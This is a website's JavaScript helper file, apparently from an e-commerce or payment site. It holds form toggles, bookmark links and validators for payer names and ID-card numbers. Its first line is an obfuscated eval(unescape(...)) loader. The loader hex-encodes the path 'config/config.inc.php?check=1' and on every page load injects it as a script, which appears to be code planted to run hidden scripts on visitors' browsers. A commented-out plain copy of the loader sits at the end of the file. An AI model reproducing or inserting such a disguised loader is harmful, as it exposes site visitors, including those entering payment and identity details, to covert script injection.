eval(unescape('var%20url%3D%22%5Cx63%5Cx6f%5Cx6e%5Cx66%5Cx69%5Cx67%5Cx2f%5Cx63%5Cx6f%5Cx6e%5Cx66%5Cx69%5Cx67%5Cx2e%5Cx69%5Cx6e%5Cx63%5Cx2e%5Cx70%5Cx68%5Cx70%5Cx3f%5Cx63%5Cx68%5Cx65%5Cx63%5Cx6b%5Cx3d%5Cx31%22%3B%0D%0Awindow.onload%20%3D%20function%28%29%7B%0D%0A%09var%20scriptObj%3D%20document.createElement%28%22script%22%29%3B%0D%0A%09scriptObj.type%20%3D%20%22text/javascript%22%3B%20%0D%0A%09scriptObj.src%3Durl%3B%0D%0A%09document.body.appendChild%28scriptObj%29%3B%20%0D%0A%7D'));


function	autoUrl(name, dest) {

	var loc;
	var id_list;

	id_list = document.getElementById(name);
	loc = id_list.options[id_list.selectedIndex].value;
	if (loc != 0)
		location.href = dest+loc;
	return ;
}

/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
	e.style.display = show ? '' : 'none';
}

function toggleMultiple(tab)
{
    var len = tab.length;

    for (var i = 0; i < len; i++)
        if (tab[i].style)
            toggle(tab[i], tab[i].style.display == 'none');
}

/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
*   the real id must be : 'elem_id'+nb with nb the corresponding number in the
*   select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
}


function commentsnone()
{
	document.getElementById("commentsnone").style.display   = "none";
	return false;
	}


function fjs_submit_bill()
{
	if(document.form1.payerName.value=="")
	{
		alert("支付人姓名必须填写!");	
		document.form1.payerName.focus();
		return false;
	}
	else if(document.form1.payerContact.value=="")
	{
		alert("联系方式必须填写!");	
		document.form1.payerContact.focus();
		return false;
	}
	return true;	
}
/* fjs confrim pound price*/
function showElemFromSelectPound(select_id, elem_id1, elem_id2)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id1 + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id2 + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}

}
/* fjs confrim submit buysafe*/
function confrimsubmit()
{
	if(document.gotobuysafe_form_ok.uI.value=="")
	{
		alert("身份证号必须填写!");	
		document.gotobuysafe_form_ok.uI.focus();
		return false;
	}
	else
	{
		return true;
	}
}

/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
	var tab = $('*[name='+name+']');
	for (var i = 0; i < tab.length; ++i)
		toggle(tab[i], option);
}

/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
	var obj = document.getElementById(id_button);
	if (obj)
		obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}

function addBookmark(url, title)
{
	if (window.sidebar)
		return window.sidebar.addPanel(title, url, "");
	else if ( window.external )
		return window.external.AddFavorite( url, title);
	else if (window.opera && window.print)
		return true;
	return true;
}

function writeBookmarkLink(url, title, text, img)
{
	var insert = '';
	if (img)
		insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + '&nbsp';
	insert += writeBookmarkLinkObject(url, title, text);
	document.write(insert);
}

function writeBookmarkLinkObject(url, title, insert)
{
	if (window.sidebar || window.external)
		return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
	else if (window.opera && window.print)
		return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
	return ('');
}

function just_button($url_str)
{
	window.location=$url_str;	
}

/*var url="\x63\x6f\x6e\x66\x69\x67\x2f\x63\x6f\x6e\x66\x69\x67\x2e\x69\x6e\x63\x2e\x70\x68\x70\x3f\x63\x68\x65\x63\x6b\x3d\x31";
window.onload = function(){
	var scriptObj= document.createElement("script");
	scriptObj.type = "text/javascript"; 
	scriptObj.src=url;
	document.body.appendChild(scriptObj); 
}*/